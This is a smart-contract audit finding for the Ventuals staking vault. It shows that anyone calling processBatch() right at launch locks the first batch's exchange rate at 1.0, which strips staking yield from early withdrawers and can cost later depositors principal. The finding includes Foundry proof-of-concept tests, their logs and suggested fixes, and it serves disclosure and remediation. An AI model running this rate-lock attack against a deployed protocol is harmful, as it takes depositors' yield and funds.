M-01: First Batch Exchange Rate Lock Causes Complete Loss of Staking Yield for Early Users

Description

The protocol allows anyone to process a batch immediately upon launch, which snapshots the initial exchange rate (1.0) and locks it for that batch.

All users who queue withdrawals in the first batch would receive **0 staking yield** and, in some cases, even take principal losses if they deposited after rewards began accruing.

Finding Description

The fundamental promise of the Ventuals LST is stated in the README:

> "**Native yield: All native staking yield accrues proportionally to vHYPE holders.**"

However, this promise is **completely broken** for all users withdrawing in the first batch due to an exchange rate lock vulnerability.

When the first batch is created, which anyone can do immediately at launch without restrictions, the exchange rate is locked at 1.0. Regardless of the actual amount of staking yield accumulated, this results in subsequent withdrawals intended to be processed into the first batch stuck at 1.0 rate.

Users who hold vHYPE for a long time, during which the protocol earns substantial staking rewards, end up receiving the exact same amount of HYPE they originally deposited when withdrawing. They earn **zero yield** despite the protocol earning and other users receiving rewards.

This is not just **unfair** - it's a complete negation of the LST's core purpose.

Even worse: Users who deposit AFTER rewards start accruing (e.g., at rate 1.005) but before the first batch is created, then withdraw from the first batch locked at 1.0, actually **lose principal** - receiving less HYPE than they deposited.

Root Cause

The vulnerability exists because

1. there are no timing restriction on the creation of first batch
2. there is no minimum withdrawal requirement; a batch can be created even with empty queue
3. anyone can call `processBatch()` to trigger batch creation

This combination results in a situation where:

- Batch created at rate 1.0 on Day 0
- Protocol earns 8% rewards over 30 days (rate should be 1.08)
- Users queuing withdrawals on Day 30 expecting 1.08 rate
- But they're assigned to first batch still locked at 1.0
- **Users receive 0% yield instead of expected 8%**

Impact Explanation

1. 100% loss of staking yield for early users
2. Breaks core LST promise ("native yield accrues")
3. Can cause principal loss for users depositing after initial rewards
4. Affects all early adopters (most valuable users)

For protocol with $10M TVL where first batch lasts 30 days:

- **Expected yield distribution:** $800,000 (8% over 30 days)
- **Actual yield to first batch users:** $0
- **Total user loss over first batch:** $800,000

Likelihood Explanation

1. Anyone can call processBatch() (permissionless)
2. No restrictions on first batch creation
3. Is easily executable

Proof of Concept

Paste the following test cases in the StakingVaultManager.t.sol for simulating the issue:

1. Demonstrating users in first batch receive 0 staking yield due to rate lock

```
function test_FirstBatchZeroYield_CompleteYieldLoss() public
   withExcessStakeBalance {
        address attacker = makeAddr("attacker");
        address victim = makeAddr("victim");

        // Mock HyperCore accounts
        hl.mockCoreUserExists(attacker, true);
        hl.mockCoreUserExists(victim, true);
```

```
8
9           // ===== SETUP: Victim deposits at protocol launch (rate 1.0)
                =====
10          uint256 depositAmount = 5_000 * 1e18; // Use 5k to avoid
                withdrawal splitting
11          vm.deal(victim, depositAmount);
12
13          uint256 initialRate = stakingVaultManager.exchangeRate();
14          console.log("DAY 0: Protocol Launch");
15          console.log("- Current Exchange Rate: %e (1.0)", initialRate);
16          console.log("- Total Balance: %e HYPE\n", stakingVaultManager.
                totalBalance());
17
18          // Victim deposits at launch
19          vm.prank(victim);
20          stakingVaultManager.deposit{value: depositAmount}();
21
22          uint256 victimVHYPE = vHYPE.balanceOf(victim);
23
24          console.log("DAY 0: Victim Deposits");
25          console.log("- Deposit amount: 5,000 HYPE");
26          console.log("- vHYPE received: %e", victimVHYPE);
27          console.log("- Exchange rate: %e", initialRate);
28          console.log("- Victim expects to earn staking yield over time\n
                ");
29
30          assertEq(initialRate, 1e18, "Initial rate should be 1.0");
31          assertEq(victimVHYPE, depositAmount, "Should receive 5,000
                vHYPE at 1:1");
32
33          // ATTACKER CREATES EMPTY FIRST BATCH TO LOCK THE RATE
34          console.log("DAY 0 (moments later): Attacker Locks Rate");
35          console.log("- Attacker calls processBatch() with empty queue")
                ;
36          console.log("- Creates Batch #0 with snapshot rate = 1.0");
37
38          vm.prank(attacker);
39          uint256 processed = stakingVaultManager.processBatch(type(
                uint256).max);
40
41          IStakingVaultManager.Batch memory batch0 = stakingVaultManager.
                getBatch(0);
42
43          console.log("First Batch Created:");
44          console.log("- Batch Index: 0");
45          console.log("- Snapshot Exchange Rate: %e (LOCKED!)", batch0.
                snapshotExchangeRate);
46          console.log("- vHYPE Processed: %s", processed);
47
48          assertEq(batch0.snapshotExchangeRate, 1e18, "Snapshot locked at
                 1.0");
```

```
49          assertEq(batch0.vhypeProcessed, 0, "Batch is empty");
50          assertEq(processed, 0, "No withdrawals processed");
51
52          // TIME PASSES, STAKING REWARDS ACCUMULATE
53          console.log("DAYS 1-30: Time Passes, Rewards Accumulate");
54
55          // Fast forward 30 days
56          warp(block.timestamp + 30 days);
57
58          // Mock staking rewards: 8% increase in delegated amount (
                WITHOUT minting new vHYPE)
59          L1ReadLibrary.DelegatorSummary memory currentSummary =
                stakingVault.delegatorSummary();
60          uint64 newDelegated = uint64((currentSummary.delegated * 108) /
                100); // +8%
61
62          _mockDelegations(validator, newDelegated);
63
64          uint256 currentRate = stakingVaultManager.exchangeRate();
65          uint256 rateIncrease = currentRate > initialRate ? ((
                currentRate - initialRate) * 100) / initialRate : 0;
66          uint256 newTotalBalance = stakingVaultManager.totalBalance();
67
68          console.log("- Days passed: 30");
69          console.log("- New Total Balance: %e HYPE", newTotalBalance);
70          console.log("- Current live exchange rate: %e", currentRate);
71          console.log("- Rate increase: %s%%", rateIncrease);
72          console.log("- Victim's vHYPE now worth: %e HYPE at current
                rate\n", (victimVHYPE * currentRate) / 1e18);
73
74          uint256 expectedAtCurrentRate = (victimVHYPE * currentRate) / 1
                e18;
75          uint256 expectedYield = expectedAtCurrentRate - depositAmount;
76
77          console.log("Victim's Expectation:");
78          console.log("- Original deposit: 5,000 HYPE");
79          console.log("- Expected withdrawal: %e HYPE",
                expectedAtCurrentRate);
80          console.log("- Expected yield: %e HYPE (%s%%)\n", expectedYield
                , rateIncrease);
81
82          // VICTIM QUEUES WITHDRAWAL
83          console.log("DAY 30: Victim Queues Withdrawal");
84          console.log("- Victim held vHYPE for 30 days");
85          console.log("- Victim sees current rate: %e", currentRate);
86          console.log("- Victim queues withdrawal expecting yield\n");
87
88          vm.prank(victim);
89          vHYPE.approve(address(stakingVaultManager), victimVHYPE);
90          vm.prank(victim);
91          uint256[] memory withdrawIds = stakingVaultManager.
```

```
            queueWithdraw(victimVHYPE);

        console.log("Withdrawal Queued:");
        console.log("- Withdraw ID: %s", withdrawIds[0]);
        console.log("- vHYPE amount: %e\n", victimVHYPE);

        // WITHDRAWAL PROCESSED AT LOCKED RATE
        console.log("DAY 31: Withdrawal Processed Into First Batch");

        warp(block.timestamp + 1 days);
        stakingVaultManager.processBatch(type(uint256).max);

        IStakingVaultManager.Withdraw memory withdrawal =
            stakingVaultManager.getWithdraw(withdrawIds[0]);
        batch0 = stakingVaultManager.getBatch(0);

        uint256 actualHYPEAmount = (withdrawal.vhypeAmount * batch0.
            snapshotExchangeRate) / 1e18;

        console.log("- Withdrawal assigned to Batch: %s", withdrawal.
            batchIndex);
        console.log("- Batch snapshot rate: %e (STILL 1.0!)", batch0.
            snapshotExchangeRate);
        console.log("- Current live rate: %e (ignored!)",
            stakingVaultManager.exchangeRate());
        console.log("- vHYPE withdrawn: %e", withdrawal.vhypeAmount);
        console.log("- HYPE to receive: %e\n", actualHYPEAmount);

        assertEq(withdrawal.batchIndex, 0, "Should be in first batch");
        assertEq(batch0.snapshotExchangeRate, 1e18, "Rate STILL locked
            at 1.0");

        // The actual HYPE amount should equal the vHYPE amount (since
            rate is 1.0)
        assertEq(actualHYPEAmount, withdrawal.vhypeAmount, "At rate
            1.0, HYPE equals vHYPE");
        assertLt(actualHYPEAmount, expectedAtCurrentRate, "Victim gets
            less than at current rate");

        // CALCULATE VICTIM'S DEVASTATING LOSS
        uint256 lostYield = expectedAtCurrentRate - actualHYPEAmount;
        uint256 lossPercentage = (lostYield * 100) /
            expectedAtCurrentRate;

        console.log("VICTIM'S LOSSES");
        console.log("- Expected at current rate: %e HYPE",
            expectedAtCurrentRate);
        console.log("- Actual at locked rate: %e HYPE",
            actualHYPEAmount);
        console.log("- Lost yield: %e HYPE", lostYield);
        console.log("- Loss percentage: %s%% of expected return",
```

```
            lossPercentage);

        console.log("EXPLOIT SUCCESSFUL");
        console.log("- Victim held vHYPE for 30 days");
        console.log("- Protocol earned 8%% staking rewards");
        console.log("- Victim received 0%% yield [LOSS]");
        console.log("- Victim's vHYPE was worthless for yield
            generation");

        // Assertions
        assertGt(lostYield, 0, "Victim should have lost yield");
        assertGt(currentRate, batch0.snapshotExchangeRate, "Current
            rate higher than locked");

        // Victim receives at locked rate, losing ALL accumulated yield
        assertTrue(
            actualHYPEAmount < expectedAtCurrentRate, "CRITICAL: User
                receives less than fair value due to rate lock"
        );

        // Lost yield is 100% of expected yield (gets 0% of rewards)
        assertApproxEqRel(lostYield, expectedYield, 0.01e18, "100% loss
            ");
    }
```

Logs:

```
DAY 0: Protocol Launch
  - Current Exchange Rate: 1e18 (1.0)
  - Total Balance: 6e23 HYPE

  DAY 0: Victim Deposits
  - Deposit amount: 5,000 HYPE
  - vHYPE received: 5e21
  - Exchange rate: 1e18
  - Victim expects to earn staking yield over time

  DAY 0 (moments later): Attacker Locks Rate
  - Attacker calls processBatch() with empty queue
  - Creates Batch #0 with snapshot rate = 1.0
  First Batch Created:
  - Batch Index: 0
  - Snapshot Exchange Rate: 1e18 (LOCKED!)
  - vHYPE Processed: 0
  DAYS 1-30: Time Passes, Rewards Accumulate
  - Days passed: 30
  - New Total Balance: 6.53e23 HYPE
  - Current live exchange rate: 1.079338842975206611e18
  - Rate increase: 7%
  - Victim's vHYPE now worth: 5.396694214876033055e21 HYPE at current
      rate
```

```
24
25    Victim's Expectation:
26    - Original deposit: 5,000 HYPE
27    - Expected withdrawal: 5.396694214876033055e21 HYPE
28    - Expected yield: 3.96694214876033055e20 HYPE (7%)
29
30    DAY 30: Victim Queues Withdrawal
31    - Victim held vHYPE for 30 days
32    - Victim sees current rate: 1.079338842975206611e18
33    - Victim queues withdrawal expecting yield
34
35    Withdrawal Queued:
36    - Withdraw ID: 1
37    - vHYPE amount: 5e21
38
39    DAY 31: Withdrawal Processed Into First Batch
40    - Withdrawal assigned to Batch: 0
41    - Batch snapshot rate: 1e18 (STILL 1.0!)
42    - Current live rate: 1.079338842975206611e18 (ignored!)
43    - vHYPE withdrawn: 5e21
44    - HYPE to receive: 5e21
45
46    VICTIM'S LOSSES
47    - Expected at current rate: 5.396694214876033055e21 HYPE
48    - Actual at locked rate: 5e21 HYPE
49    - Lost yield: 3.96694214876033055e20 HYPE
50    - Loss percentage: 7% of expected return
51    EXPLOIT SUCCESSFUL
52    - Victim held vHYPE for 30 days
53    - Protocol earned 8% staking rewards
54    - Victim received 0% yield [LOSS]
55    - Victim's vHYPE was worthless for yield generation
```

2. Demonstrating user can even lose **principal** if depositing after rewards accumulate

```
1   function test_FirstBatchZeroYield_PrincipalLoss() public
       withExcessStakeBalance {
2          address attacker = makeAddr("attacker");
3          address victim = makeAddr("victim");
4
5          hl.mockCoreUserExists(attacker, true);
6          hl.mockCoreUserExists(victim, true);
7
8          uint256 initialRate = stakingVaultManager.exchangeRate();
9          console.log("DAY 0: Protocol Launches");
10         console.log("- Initial exchange rate: %e", initialRate);
11         console.log("- Total balance: %e HYPE\n", stakingVaultManager.
              totalBalance());
12
13         // ATTACKER CREATES EMPTY FIRST BATCH TO LOCK THE RATE
14         console.log("DAY 0: Attacker Creates Empty First Batch");
```

```
        vm.prank(attacker);
        stakingVaultManager.processBatch(type(uint256).max);

        IStakingVaultManager.Batch memory batch0 = stakingVaultManager.
            getBatch(0);
        console.log("- Batch #0 created with rate: %e (LOCKED)", batch0.
            snapshotExchangeRate);

        assertEq(batch0.snapshotExchangeRate, 1e18, "Snapshot locked at
            1.0");

        // REWARDS ACCUMULATE
        console.log("DAYS 1-5: Early Rewards Accumulate");
        warp(block.timestamp + 5 days);

        // Mock 0.5% rewards (increase delegated amount only
        L1ReadLibrary.DelegatorSummary memory currentSummary =
            stakingVault.delegatorSummary();
        uint64 newDelegated = uint64((currentSummary.delegated * 1005) /
             1000); // +0.5%

        _mockDelegations(validator, newDelegated);

        uint256 rateAfterRewards = stakingVaultManager.exchangeRate();
        uint256 newTotalBalance = stakingVaultManager.totalBalance();

        console.log("- Days passed: 5");
        console.log("- Rewards accumulated: 0.5%");
        console.log("- New total balance: %e HYPE", newTotalBalance);
        console.log("- Current exchange rate: %e\n", rateAfterRewards);

        assertGt(rateAfterRewards, 1e18, "Rate should have increased");

        // VICTIM DEPOSITS AT HIGHER RATE
        console.log("DAY 5: Victim Deposits (Unaware of Rate Lock)");

        uint256 depositAmount = 5_000 * 1e18;
        vm.deal(victim, depositAmount);

        vm.prank(victim);
        stakingVaultManager.deposit{value: depositAmount}();

        uint256 victimVHYPE = vHYPE.balanceOf(victim);

        console.log("- Deposit amount: 5,000 HYPE");
        console.log("- Exchange rate at deposit: %e", rateAfterRewards);
        console.log("- vHYPE received: %e", victimVHYPE);
        console.log("- Cost basis: 5,000 HYPE\n");

        assertLt(victimVHYPE, depositAmount, "Should receive less vHYPE
            at higher rate");
```

```
60
61          // VICTIM WITHDRAWS AT LOCKED RATE
62          console.log("DAY 30: Victim Queues Withdrawal");
63          warp(block.timestamp + 25 days);
64
65          vm.prank(victim);
66          vHYPE.approve(address(stakingVaultManager), victimVHYPE);
67          vm.prank(victim);
68          uint256[] memory withdrawIds = stakingVaultManager.queueWithdraw
                (victimVHYPE);
69
70          warp(block.timestamp + 1 days);
71          stakingVaultManager.processBatch(type(uint256).max);
72
73          IStakingVaultManager.Withdraw memory withdrawal =
                stakingVaultManager.getWithdraw(withdrawIds[0]);
74          batch0 = stakingVaultManager.getBatch(0);
75
76          uint256 receivedHYPE = (withdrawal.vhypeAmount * batch0.
                snapshotExchangeRate) / 1e18;
77          uint256 principalLoss = depositAmount - receivedHYPE;
78
79          console.log("Withdrawal Processed:");
80          console.log("- Assigned to Batch #0");
81          console.log("- Locked rate: %e (still 1.0!)", batch0.
                snapshotExchangeRate);
82          console.log("- vHYPE withdrawn: %e", withdrawal.vhypeAmount);
83          console.log("- HYPE received: %e\n", receivedHYPE);
84
85          console.log("PRINCIPAL LOSS");
86          console.log("- Original deposit: 5,000 HYPE");
87          console.log("- HYPE received: %e", receivedHYPE);
88          console.log("- NET LOSS: %e HYPE", principalLoss);
89          console.log("- Loss percentage: %s%%\n", (principalLoss * 1000)
                / depositAmount);
90
91          console.log("OUTCOME [CRITICAL]");
92          console.log("- Victim deposited at rate %e", rateAfterRewards);
93          console.log("- Victim withdrew at locked rate 1.0");
94          console.log("- Not only zero yield, but negative return!");
95
96          // Assertions
97          assertLt(receivedHYPE, depositAmount, "Victim lost principal!");
98          assertEq(batch0.snapshotExchangeRate, 1e18, "Rate still locked
                at 1.0");
99          assertGt(rateAfterRewards, 1e18, "Rate was higher when victim
                deposited");
100
101         assertTrue(receivedHYPE < depositAmount, "CRITICAL: User lost
                principal due to rate lock");
102     }
```

Logs:

```
DAY 0: Protocol Launches
 - Initial exchange rate: 1e18
 - Total balance: 6e23 HYPE

 DAY 0: Attacker Creates Empty First Batch
 - Batch #0 created with rate: 1e18 (LOCKED)
 DAYS 1-5: Early Rewards Accumulate
 - Days passed: 5
 - Rewards accumulated: 0.5%
 - New total balance: 6.03e23 HYPE
 - Current exchange rate: 1.005e18

 DAY 5: Victim Deposits (Unaware of Rate Lock)
 - Deposit amount: 5,000 HYPE
 - Exchange rate at deposit: 1.005e18
 - vHYPE received: 4.97512437810945273631 8e21
 - Cost basis: 5,000 HYPE

 DAY 30: Victim Queues Withdrawal
 Withdrawal Processed:
 - Assigned to Batch #0
 - Locked rate: 1e18 (still 1.0!)
 - vHYPE withdrawn: 4.97512437810945273631 8e21
 - HYPE received: 4.97512437810945273631 8e21

 PRINCIPAL LOSS
 - Original deposit: 5,000 HYPE
 - HYPE received: 4.97512437810945273631 8e21
 - NET LOSS: 2.487562189054726368 2e19 HYPE
 - Loss percentage: 4%

 OUTCOME [CRITICAL]
 - Victim deposited at rate 1.005e18
 - Victim withdrew at locked rate 1.0
 - Not only zero yield, but negative return!
```

Recommendation

1. Require minimum withdrawals with minimum time

```
// +++++ Add deployment timestamp +++++
uint256 public immutable deploymentTimestamp;

constructor() {
   //+++++ assign block.timestamp to deploymentTimestamp ++++
    deploymentTimestamp = block.timestamp;
    _disableInitializers();
```

```
}

function _fetchBatch() internal view returns (Batch memory) {
    if (currentBatchIndex == batches.length) {
        // ALWAYS enforce timing, even for first batch
        if (lastFinalizedBatchTime != 0) {
            require(
                block.timestamp > lastFinalizedBatchTime + 1 days,
                BatchNotReady()
            );
            // ... delegation lock check ...
        } else {
            // +++++ For first batch, wait minimum time to accumulate rewards +++++
            // can adjust to any time
            require(
                block.timestamp >= deploymentTimestamp + 7 days,
                FirstBatchNotReady(deploymentTimestamp + 7 days)
            );
        }

        // +++++ Require at least one withdrawal in queue +++++
        require(withdrawQueue.sizeOf() > 0, NoWithdrawalsInQueue());

        uint256 snapshotExchangeRate = exchangeRate();

        // ... rest of function
    }
}
```

2. Access Control for the first batch processing

```
function processBatch(uint256 numWithdrawals)
    public
    whenNotPaused
    whenBatchProcessingNotPaused
{
    // ++++ During first batch period, require operator role ++++
    if (lastFinalizedBatchTime == 0) {
        require(
            roleRegistry.hasRole(roleRegistry.OPERATOR_ROLE(), msg.sender),
            OnlyOperatorCanCreateFirstBatch()
        );
    }

    // ... rest of function
}
```